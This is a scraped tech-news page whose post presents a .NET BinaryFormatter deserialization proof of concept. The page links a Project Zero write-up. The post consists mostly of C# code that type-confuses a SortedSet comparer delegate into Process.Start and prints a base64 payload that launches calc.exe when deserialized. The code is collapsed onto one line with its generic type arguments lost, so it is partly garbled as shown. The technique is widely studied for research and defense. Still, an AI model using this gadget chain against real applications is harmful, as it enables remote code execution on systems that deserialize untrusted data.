Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

BinaryFormatter of .net deserialization vulnerability

2025-01-18 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)06/01 Report--

Https://googleprojectzero.blogspot.com.es/2017/04/exploiting-net-managed-dcom.html

The sample of RCE caused by .net deserialization has two limitations:

Content deserialized by BinaryFormatter::Deserialize is controllable by user. Net SDK is greater than or equal to 4.5using System;using System.Collections.Generic;using System.Diagnostics;using System.IO;using System.Linq;using System.Reflection;using System.Runtime.Serialization.Formatters;using System.Runtime.Serialization.Formatters.Binary;using System.Text;using System.Threading.Tasks Namespace Deserializer {class Program {public static void getCalcPayload () {/ / Create a simple multicast delegate Delegate d = new Comparison (String.Compare); Comparison D2 = (Comparison) MulticastDelegate.Combine (d, d); / / Create set with original comparer IComparer comp = Comparer.Create (D2); SortedSet set = new SortedSet (comp) Set.Add ("calc"); set.Add ("adummy"); TypeConfuseDelegate (D2); BinaryFormatter formatter = new BinaryFormatter {AssemblyFormat = FormatterAssemblyStyle.Simple}; using (MemoryStream stream = new MemoryStream ()) {formatter.Serialize (stream, set) Int position = (int) stream.Position; byte [] array = stream.GetBuffer (); Array.Resize (ref array, position); String payload = Convert.ToBase64String (array); Console.WriteLine ("Calc.exe PayLoad:" + payload); / / FileSystemUtils.Pullfile (payload, "payload_calc.dat") Stream.Position = 0; formatter.Deserialize (stream);}} static void TypeConfuseDelegate (Comparison comp) {FieldInfo fi = typeof (MulticastDelegate) .GetField ("_ invocationList", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance); object [] invoke_list = comp.GetInvocationList () / / Modify the invocation list to add Process::Start (string, string) invoke_list [1] = new Func (Process.Start); fi.SetValue (comp, invoke_list);} static void Main (string [] args) {getCalcPayload ();}

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report